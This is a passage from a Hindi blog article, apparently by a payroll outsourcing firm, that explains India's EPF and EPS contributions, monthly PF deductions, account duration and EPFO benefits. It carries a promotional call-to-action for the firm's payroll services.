\u0917\u092f\u093e \u092f\u094b\u0917\u0926\u093e\u0928\u0964 \u092d\u093e\u0930\u0924 \u092e\u0947\u0902, \u092a\u094d\u0930\u093e\u0907\u0935\u0947\u091f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f <strong>\u0908\u092a\u0940\u090f\u092b<\/strong><strong> (EPF)<\/strong> \u0914\u0930 <strong>\u0908\u092a\u0940\u090f\u0938<\/strong><strong> (Employees&#8217; Pension Scheme)<\/strong> \u0915\u0947 \u092e\u093e\u0927\u094d\u092f\u092e \u0938\u0947 \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0935\u094d\u092f\u0935\u0938\u094d\u0925\u093e \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>\u0908\u092a\u0940\u090f\u092b<\/strong><strong> <\/strong><strong>\u092f\u094b\u0917\u0926\u093e\u0928<\/strong><strong>:<\/strong> \u092a\u094d\u0930\u0924\u094d\u092f\u0947\u0915 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0914\u0930 \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0926\u094b\u0928\u094b\u0902 \u0939\u0930 \u092e\u093e\u0939 12% \u0935\u0947\u0924\u0928 \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902\u0964 \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0915\u093e 12% \u092e\u0947\u0902 \u0938\u0947 8.33% \u0908\u092a\u0940\u090f\u0938 \u092e\u0947\u0902 \u091c\u092e\u093e \u0939\u094b\u0924\u093e \u0939\u0948, \u091c\u094b \u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u0939\u093f\u0938\u094d\u0938\u093e \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u092a\u0947\u0902\u0936\u0928<\/strong><strong> <\/strong><strong>\u0930\u093e\u0936\u093f<\/strong><strong>:<\/strong> \u092a\u094d\u0930\u093e\u0907\u0935\u0947\u091f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0930\u093e\u0936\u093f \u0909\u0928\u0915\u0940 \u0938\u0947\u0935\u093e \u0905\u0935\u0927\u093f \u0914\u0930 \u0905\u0902\u0924\u093f\u092e \u0935\u0947\u0924\u0928 \u0915\u0947 \u0906\u0927\u093e\u0930 \u092a\u0930 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0930\u093e\u0936\u093f <strong>8.33%<\/strong> \u0915\u0947 \u092f\u094b\u0917\u0926\u093e\u0928 \u0938\u0947 \u0924\u0948\u092f\u093e\u0930 \u0939\u094b\u0924\u0940 \u0939\u0948, \u091c\u094b \u0908\u092a\u0940\u090f\u0938 \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091c\u092e\u093e \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u092a\u0947\u0902\u0936\u0928<\/strong><strong> <\/strong><strong>\u0915\u093e<\/strong><strong> <\/strong><strong>\u0917\u0923\u0928\u093e<\/strong><strong>:<\/strong> \u0938\u093e\u092e\u093e\u0928\u094d\u092f\u0924\u0903, \u092f\u0926\u093f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0928\u0947 10 \u0938\u093e\u0932 \u0924\u0915 \u0915\u093e\u092e \u0915\u093f\u092f\u093e \u0914\u0930 \u0909\u0938\u0915\u093e \u0914\u0938\u0924 \u0935\u0947\u0924\u0928 \u20b930,000 \u0939\u0948, \u0924\u094b \u0909\u0938\u0947 \u20b93,000 \u0938\u0947 \u20b95,000 \u092a\u094d\u0930\u0924\u093f \u092e\u093e\u0939 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932 \u0938\u0915\u0924\u0940 \u0939\u0948\u0964 \u092a\u0947\u0902\u0936\u0928 \u0930\u093e\u0936\u093f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u0935\u0947\u0924\u0928 \u0914\u0930 \u0938\u0947\u0935\u093e \u092a\u0930 \u0928\u093f\u0930\u094d\u092d\u0930 \u0915\u0930\u0924\u0940 \u0939\u0948, \u0914\u0930 \u0938\u092e\u092f \u0915\u0947 \u0938\u093e\u0925 \u0907\u0938\u092e\u0947\u0902 \u092a\u0930\u093f\u0935\u0930\u094d\u0924\u0928 \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u0935\u0943\u0926\u094d\u0927\u093f<\/strong><strong> <\/strong><strong>\u0915\u0940<\/strong><strong> <\/strong><strong>\u0938\u0902\u092d\u093e\u0935\u0928\u093e<\/strong><strong>:<\/strong> \u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u0906\u0927\u093e\u0930 <strong>\u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e<\/strong><strong> <\/strong><strong>\u0915\u093e<\/strong><strong> <\/strong><strong>\u092f\u094b\u0917\u0926\u093e\u0928<\/strong> \u0914\u0930 <strong>\u092c\u094d\u092f\u093e\u091c<\/strong><strong> <\/strong><strong>\u0926\u0930<\/strong> \u092a\u0930 \u092d\u0940 \u0928\u093f\u0930\u094d\u092d\u0930 \u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ol>\n\n\n\n<p>EPFO \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u091c\u0928\u093e \u0928 \u0915\u0947\u0935\u0932 \u0935\u094d\u092f\u0915\u094d\u0924\u093f \u0915\u094b \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0906\u0930\u094d\u0925\u093f\u0915 \u0938\u0939\u093e\u0930\u093e \u0926\u0947\u0924\u0940 \u0939\u0948, \u092c\u0932\u094d\u0915\u093f \u0909\u0938\u0915\u0947 \u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u094b \u092d\u0940 \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u0915\u0930\u0924\u0940 \u0939\u0948\u0964 \u092f\u0939 \u090f\u0915 \u092d\u0930\u094b\u0938\u0947\u092e\u0902\u0926 \u092f\u094b\u091c\u0928\u093e \u0939\u0948, \u091c\u094b \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u0906\u0924\u094d\u092e\u0928\u093f\u0930\u094d\u092d\u0930 \u0914\u0930 \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u092d\u0935\u093f\u0937\u094d\u092f \u0915\u093e \u0935\u093e\u0926\u093e \u0915\u0930\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"1_%E0%A4%AE%E0%A4%B9%E0%A5%80%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A4%BE_%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%95%E0%A4%BF%E0%A4%A4%E0%A4%A8%E0%A4%BE_%E0%A4%95%E0%A4%9F%E0%A4%A4%E0%A4%BE%E0%A4%B9%E0%A5%88_Monthly_PF_Deduction\"><\/span><strong>1 \u092e\u0939\u0940\u0928\u0947 \u0915\u093e \u092a\u0940\u090f\u092b \u0915\u093f\u0924\u0928\u093e \u0915\u091f\u0924\u093e\u0939\u0948 (Monthly PF Deduction)?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u091c\u092c \u0906\u092a \u0915\u093f\u0938\u0940 \u0915\u0902\u092a\u0928\u0940 \u092e\u0947\u0902 \u0915\u093e\u092e \u0915\u0930\u0924\u0947 \u0939\u0948\u0902 \u0914\u0930 \u0906\u092a\u0915\u093e \u0935\u0947\u0924\u0928 \u092e\u093f\u0932\u0924\u093e \u0939\u0948, \u0924\u094b \u0909\u0938\u092e\u0947\u0902 \u0938\u0947 \u0939\u0930 \u092e\u0939\u0940\u0928\u0947 \u090f\u0915 \u091b\u094b\u091f\u093e \u0938\u093e \u0939\u093f\u0938\u094d\u0938\u093e \u092a\u0940\u090f\u092b (Provident Fund) \u0915\u0947 \u0932\u093f\u090f \u0915\u091f\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u092a\u0940\u090f\u092b \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0906\u092a\u0915\u0940 <strong>\u092c\u0947\u0938\u093f\u0915<\/strong><strong> <\/strong><strong>\u0938\u0948\u0932\u0930\u0940<\/strong> \u0914\u0930 <strong>\u092e\u0939\u0902\u0917\u093e\u0908<\/strong><strong> <\/strong><strong>\u092d\u0924\u094d\u0924\u093e<\/strong><strong> (DA)<\/strong> \u092a\u0930 \u0906\u0927\u093e\u0930\u093f\u0924 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0906\u092e\u0924\u094c\u0930 \u092a\u0930 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0940 \u092c\u0947\u0938\u093f\u0915 \u0938\u0948\u0932\u0930\u0940 \u0915\u093e <strong>12% <\/strong><strong>\u0939\u093f\u0938\u094d\u0938\u093e<\/strong> \u0939\u0930 \u092e\u0939\u0940\u0928\u0947 \u092a\u0940\u090f\u092b \u0915\u0947 \u0932\u093f\u090f \u0915\u093e\u091f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0938\u093e\u0925-\u0938\u093e\u0925 \u0915\u0902\u092a\u0928\u0940 \u092d\u0940 \u0906\u092a\u0915\u0940 \u092c\u0947\u0938\u093f\u0915 \u0938\u0948\u0932\u0930\u0940 \u0915\u093e 12% \u0939\u093f\u0938\u094d\u0938\u093e \u091c\u092e\u093e \u0915\u0930\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%89%E0%A4%A6%E0%A4%BE%E0%A4%B9%E0%A4%B0%E0%A4%A3\"><\/span><strong>\u0909\u0926\u093e\u0939\u0930\u0923:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0905\u0917\u0930 \u0906\u092a\u0915\u0940 \u092c\u0947\u0938\u093f\u0915 \u0938\u0948\u0932\u0930\u0940 \u20b915,000 \u0939\u0948, \u0924\u094b:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0906\u092a\u0915\u093e 12% = \u20b91,800 \u0939\u0930 \u092e\u0939\u0940\u0928\u0947 \u0915\u091f\u0947\u0917\u093e\u0964<\/li>\n\n\n\n<li>\u0915\u0902\u092a\u0928\u0940 \u092d\u0940 \u20b91,800 \u091c\u092e\u093e \u0915\u0930\u0947\u0917\u0940\u0964<\/li>\n<\/ul>\n\n\n\n<p>\u0932\u0947\u0915\u093f\u0928 \u0915\u0902\u092a\u0928\u0940 \u0915\u0947 12% \u092e\u0947\u0902 \u0938\u0947 \u092a\u0942\u0930\u093e \u092a\u0948\u0938\u093e \u0906\u092a\u0915\u0947 \u092a\u0940\u090f\u092b \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u0928\u0939\u0940\u0902 \u091c\u093e\u0924\u093e\u0964 \u0907\u0938\u092e\u0947\u0902 \u0938\u0947 \u0915\u0941\u091b \u0939\u093f\u0938\u094d\u0938\u093e (8.33%) \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u091c\u0928\u093e (EPS) \u092e\u0947\u0902 \u091a\u0932\u093e \u091c\u093e\u0924\u093e \u0939\u0948 \u0914\u0930 \u092c\u093e\u0915\u0940 \u092a\u0940\u090f\u092b \u092e\u0947\u0902 \u0930\u0939\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%9C%E0%A4%B0%E0%A5%82%E0%A4%B0%E0%A5%80_%E0%A4%AC%E0%A4%BE%E0%A4%A4%E0%A5%87%E0%A4%82\"><\/span><strong>\u091c\u0930\u0942\u0930\u0940 \u092c\u093e\u0924\u0947\u0902:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0905\u0917\u0930 \u0906\u092a\u0915\u0940 \u092c\u0947\u0938\u093f\u0915 \u0938\u0948\u0932\u0930\u0940 \u091c\u094d\u092f\u093e\u0926\u093e \u0939\u0948, \u0924\u092c \u092d\u0940 \u20b915,000 \u0924\u0915 \u0915\u094b \u0939\u0940 \u0906\u092e\u0924\u094c\u0930 \u092a\u0930 \u092a\u0940\u090f\u092b \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0947 \u0932\u093f\u090f \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948 (\u091c\u092c \u0924\u0915 \u0915\u093f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0914\u0930 \u0915\u0902\u092a\u0928\u0940 \u0905\u0932\u0917 \u0938\u0947 \u091c\u094d\u092f\u093e\u0926\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u093e \u0935\u093f\u0915\u0932\u094d\u092a \u0928 \u091a\u0941\u0928\u0947\u0902)\u0964<\/li>\n\n\n\n<li>\u092a\u0940\u090f\u092b \u092a\u0930 \u0939\u0930 \u0938\u093e\u0932 \u092c\u094d\u092f\u093e\u091c \u092d\u0940 \u092e\u093f\u0932\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u0906\u092a\u0915\u0940 \u092c\u091a\u0924 \u092c\u0922\u093c\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<p><br>\u0939\u0930 \u092e\u0939\u0940\u0928\u0947 \u0906\u092a\u0915\u0940 \u092c\u0947\u0938\u093f\u0915 \u0938\u0948\u0932\u0930\u0940 \u0915\u093e 12% \u092a\u0940\u090f\u092b \u0915\u0947 \u0932\u093f\u090f \u0915\u091f\u0924\u093e \u0939\u0948, \u091c\u094b \u0906\u092a\u0915\u0947 \u092d\u0935\u093f\u0937\u094d\u092f \u0915\u0947 \u0932\u093f\u090f \u090f\u0915 \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u092c\u091a\u0924 \u092c\u0928\u093e\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%88%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%95%E0%A4%BF%E0%A4%A4%E0%A4%A8%E0%A5%87_%E0%A4%B8%E0%A4%BE%E0%A4%B2_%E0%A4%95%E0%A4%BE_%E0%A4%B9%E0%A5%8B%E0%A4%A4%E0%A4%BE_%E0%A4%B9%E0%A5%88\"><\/span><strong>\u0908\u092a\u0940\u090f\u092b \u0915\u093f\u0924\u0928\u0947 \u0938\u093e\u0932 \u0915\u093e \u0939\u094b\u0924\u093e \u0939\u0948?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u0908\u092a\u0940\u090f\u092b (EPF) \u092f\u093e\u0928\u0940 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u092d\u0935\u093f\u0937\u094d\u092f \u0928\u093f\u0927\u093f \u0915\u0940 \u0915\u094b\u0908 \u0924\u092f \u0938\u092e\u092f \u0938\u0940\u092e\u093e \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u0940\u0964 \u091c\u092c \u0924\u0915 \u0906\u092a \u0928\u094c\u0915\u0930\u0940 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902 \u0914\u0930 \u0906\u092a\u0915\u0940 \u0938\u0948\u0932\u0930\u0940 \u0938\u0947 EPF \u0915\u091f\u0924\u0940 \u0939\u0948, \u0924\u092c \u0924\u0915 \u0906\u092a\u0915\u093e EPF \u0905\u0915\u093e\u0909\u0902\u091f \u091a\u0932\u0924\u093e \u0930\u0939\u0924\u093e \u0939\u0948\u0964 \u0905\u0917\u0930 \u0906\u092a \u0928\u094c\u0915\u0930\u0940 \u092c\u0926\u0932\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u0928\u092f\u093e \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u092d\u0940 \u0909\u0938\u0940 EPF \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0930 \u0938\u0915\u0924\u093e \u0939\u0948\u0964<br>\u0905\u0917\u0930 \u0906\u092a 36 \u092e\u0939\u0940\u0928\u094b\u0902 (3 \u0938\u093e\u0932) \u0924\u0915 \u0905\u0915\u093e\u0909\u0902\u091f \u092e\u0947\u0902 \u0915\u094b\u0908 \u092f\u094b\u0917\u0926\u093e\u0928 \u0928\u0939\u0940\u0902 \u0915\u0930\u0924\u0947, \u0924\u094b \u0935\u0939 \u0905\u0915\u093e\u0909\u0902\u091f \u0928\u093f\u0937\u094d\u0915\u094d\u0930\u093f\u092f (Inoperative) \u0939\u094b \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0906\u092a \u092a\u0942\u0930\u093e EPF \u092a\u0948\u0938\u093e \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902 \u092f\u093e \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u091c\u0928\u093e \u0915\u093e \u0932\u093e\u092d \u0932\u0947 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%A1%E0%A4%AC%E0%A4%B2_%E0%A4%AE%E0%A4%BF%E0%A4%B2%E0%A4%A4%E0%A4%BE_%E0%A4%B9%E0%A5%88_Do_you_get_double_PF\"><\/span><strong>\u0915\u094d\u092f\u093e<\/strong><strong> <\/strong><strong>\u092a\u0940\u090f\u092b<\/strong><strong> <\/strong><strong>\u0921\u092c\u0932<\/strong><strong> <\/strong><strong>\u092e\u093f\u0932\u0924\u093e<\/strong><strong> <\/strong><strong>\u0939\u0948 (Do you get double PF)<\/strong><strong>?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u0928\u0939\u0940\u0902, <strong>\u092a\u0940\u090f\u092b<\/strong><strong> (PF)<\/strong> \u0921\u092c\u0932 \u0928\u0939\u0940\u0902 \u092e\u093f\u0932\u0924\u093e\u0964 EPF \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0914\u0930 \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0926\u094b\u0928\u094b\u0902 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902, \u0932\u0947\u0915\u093f\u0928 \u092f\u0939 \u0930\u0915\u092e \u0915\u0947\u0935\u0932 \u090f\u0915 \u092c\u093e\u0930 \u091c\u092e\u093e \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0905\u092a\u0928\u0940 \u0938\u0948\u0932\u0930\u0940 \u0915\u093e 12% \u0914\u0930 \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u092d\u0940 \u0909\u0924\u0928\u0940 \u0939\u0940 \u0930\u093e\u0936\u093f EPF \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091c\u092e\u093e \u0915\u0930\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e, \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0915\u093e \u0915\u0941\u091b \u0939\u093f\u0938\u094d\u0938\u093e \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u091c\u0928\u093e (EPS) \u092e\u0947\u0902 \u091c\u093e\u0924\u093e \u0939\u0948\u0964<br>\u0939\u093e\u0932\u093e\u0902\u0915\u093f, EPF \u092a\u0930 \u092c\u094d\u092f\u093e\u091c \u092e\u093f\u0932\u0924\u093e \u0939\u0948, \u091c\u094b \u0939\u0930 \u0938\u093e\u0932 \u0938\u0930\u0915\u093e\u0930 \u0926\u094d\u0935\u093e\u0930\u093e \u0924\u092f \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u092f\u0939 \u092c\u094d\u092f\u093e\u091c \u0938\u093e\u0932 \u0926\u0930 \u0938\u093e\u0932 \u092c\u0922\u093c\u0924\u093e \u0930\u0939\u0924\u093e \u0939\u0948, \u0932\u0947\u0915\u093f\u0928 EPF \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0921\u092c\u0932 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u093e\u0964 \u092f\u0926\u093f EPF \u0916\u093e\u0924\u093e \u0928\u093f\u0937\u094d\u0915\u094d\u0930\u093f\u092f \u0939\u0948, \u0924\u094b \u0909\u0938 \u092a\u0930 \u092c\u094d\u092f\u093e\u091c \u092d\u0940 \u0930\u0941\u0915 \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<div style=\"max-width: 600px; margin: 40px auto; padding: 24px 20px; background: #fdf2f5; border-radius: 12px; box-shadow: 0 2px 8px rgba(0,0,0,0.06); text-align: center;\">\n  <h2 style=\"color:#a82d4e; margin-bottom:16px;\"><span class=\"ez-toc-section\" id=\"%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%86%E0%A4%AA_%E0%A4%85%E0%A4%AA%E0%A4%A8%E0%A5%87_%E0%A4%AA%E0%A5%87%E0%A4%B0%E0%A5%8B%E0%A4%B2_%E0%A4%95%E0%A4%BE%E0%A4%B0%E0%A5%8D%E0%A4%AF%E0%A5%8B%E0%A4%82_%E0%A4%95%E0%A5%8B_%E0%A4%86%E0%A4%89%E0%A4%9F%E0%A4%B8%E0%A5%8B%E0%A4%B0%E0%A5%8D%E0%A4%B8_%E0%A4%95%E0%A4%B0%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A4%BE_%E0%A4%B8%E0%A5%8B%E0%A4%9A_%E0%A4%B0%E0%A4%B9%E0%A5%87_%E0%A4%B9%E0%A5%88%E0%A4%82-2\"><\/span>\u0915\u094d\u092f\u093e \u0906\u092a \u0905\u092a\u0928\u0947 \u092a\u0947\u0930\u094b\u0932 \u0915\u093e\u0930\u094d\u092f\u094b\u0902 \u0915\u094b \u0906\u0909\u091f\u0938\u094b\u0930\u094d\u0938 \u0915\u0930\u0928\u0947 \u0915\u093e \u0938\u094b\u091a \u0930\u0939\u0947 \u0939\u0948\u0902?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n  <p style=\"font-size:1.08rem; margin-bottom:24px;\">\u0939\u092e\u093e\u0930\u0947 \u092a\u0947\u0930\u094b\u0932 \u0906\u0909\u091f\u0938\u094b\u0930\u094d\u0938\u093f\u0902\u0917 \u0938\u0947\u0935\u093e (Payroll Outsourcing Service) \u0915\u0947 \u0938\u093e\u0925, \u0905\u092a\u0928\u0947 \u0935\u094d\u092f\u093e\u092a\u093e\u0930 \u0915\u094b \u090f\u0915 \u0928\u0908 \u0926\u093f\u0936\u093e \u0926\u0947\u0902\u0964<\/p>\n  <a href=\"https:\/\/www.payrolloutsourcing.co.in\/payroll-outsourcing.php\" style=\"display:inline-block; background:#a82d4e; color:#fff; padding:12px 30px; border-radius:6px; text-decoration:none; font-weight:bold; font-size:1.08rem; letter-spacing:1px; box-shadow:0 2px 6px rgba(0,0,0,0.07); transition: background 0.2s;\">Join us Today<\/a>\n  \n  <p style=\"margin-top:16px; color:#333; font-size:0.97rem;\">\u092f\u093e <\/p>\n  \n    <a href=\"tel:9560792515\" style=\"display:inline-block; background:#a82d4e; color:#fff; padding:12px 30px; border-radius:6px; text-decoration:none; font-weight:bold; font-size:1.08rem; letter-spacing:1px; box-shadow:0 2px 6px rgba(0,0,0,0.07); transition: background 0.2s;\">\u0915\u0949\u0932:+91 9560792515 <\/a>\n  \n  <p style=\"margin-top:16px; color:#333; font-size:0.97rem;\">\u0905\u092a\u0928\u0940 \u092a\u0947\u0930\u094b\u0932 \u092a\u094d\u0930\u0915\u094d\u0930\u093f\u092f\u093e \u0915\u094b \u0938\u0939\u0940 \u092c\u0928\u093e\u090f\u0902!<\/p>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPFO_%E0%A4%95%E0%A5%87_%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%AB%E0%A4%BE%E0%A4%AF%E0%A4%A6%E0%A5%87_%E0%A4%B9%E0%A5%88%E0%A4%82_Benefits_of_EPFO\"><\/span><strong>EPFO \u0915\u0947 \u0915\u094d\u092f\u093e \u092b\u093e\u092f\u0926\u0947 \u0939\u0948\u0902 (Benefits of EPFO)?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>EPFO (Employees&#8217; Provident Fund Organisation) \u092d\u093e\u0930\u0924 \u092e\u0947\u0902 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u0935\u093f\u0924\u094d\u0924\u0940\u092f \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u0926\u0947\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u090f\u0915 \u092a\u094d\u0930\u092e\u0941\u0916 \u0938\u0902\u0917\u0920\u0928 \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0924\u0939\u0924 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0915\u0908 \u092f\u094b\u091c\u0928\u093e\u090f\u0902 \u0939\u094b\u0924\u0940 \u0939\u0948\u0902, \u091c\u0948\u0938\u0947 EPF (Employees&#8217; Provident Fund) \u0914\u0930 EPS (Employees&#8217; Pension Scheme), \u091c\u094b \u0909\u0928\u0915\u0940 \u092d\u0935\u093f\u0937\u094d\u092f \u0915\u0940 \u0906\u0930\u094d\u0925\u093f\u0915 \u0938\u094d\u0925\u093f\u0924\u093f \u0915\u094b \u0938\u0941\u0926\u0943\u0922\u093c \u092c\u0928\u093e\u0924\u0940 \u0939\u0948\u0902\u0964 EPFO \u0915\u0947 \u092c\u0939\u0941\u0924 \u0938\u093e\u0930\u0947 \u092b\u093e\u092f\u0926\u0947 \u0939\u0948\u0902, \u091c\u094b \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0914\u0930 \u0909\u0928\u0915\u0947 \u092a\u0930\u093f\u0935\u093e\u0930\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902\u0964 \u0906\u0907\u090f, \u0907\u0928 \u092b\u093e\u092f\u0926\u094b\u0902 \u0915\u094b \u0935\u093f\u0938\u094d\u0924\u093e\u0930 \u0938\u0947 \u0938\u092e\u091d\u0924\u0947 \u0939\u0948\u0902:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%86%E0%A4%B0%E0%A5%8D%E0%A4%A5%E0%A4%BF%E0%A4%95_%E0%A4%B8%E0%A5%81%E0%A4%B0%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A4%BE_%E0%A4%94%E0%A4%B0_%E0%A4%B0%E0%A4%BF%E0%A4%9F%E0%A4%BE%E0%A4%AF%E0%A4%B0%E0%A4%AE%E0%A5%87%E0%A4%82%E0%A4%9F_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%A6_%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%AE%E0%A4%BF%E0%A4%A4_%E0%A4%86%E0%A4%AF_Financial_security_and_regular_income_after_retirement\"><\/span><strong>\u0906\u0930\u094d\u0925\u093f\u0915 \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u0914\u0930 \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0928\u093f\u092f\u092e\u093f\u0924 \u0906\u092f (Financial security and regular income after retirement)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPFO \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u090f\u0915 \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u0914\u0930 \u0928\u093f\u092f\u092e\u093f\u0924 \u0906\u092f \u0938\u0941\u0928\u093f\u0936\u094d\u091a\u093f\u0924 \u0915\u0930\u0924\u093e \u0939\u0948\u0964 EPF \u0916\u093e\u0924\u093e 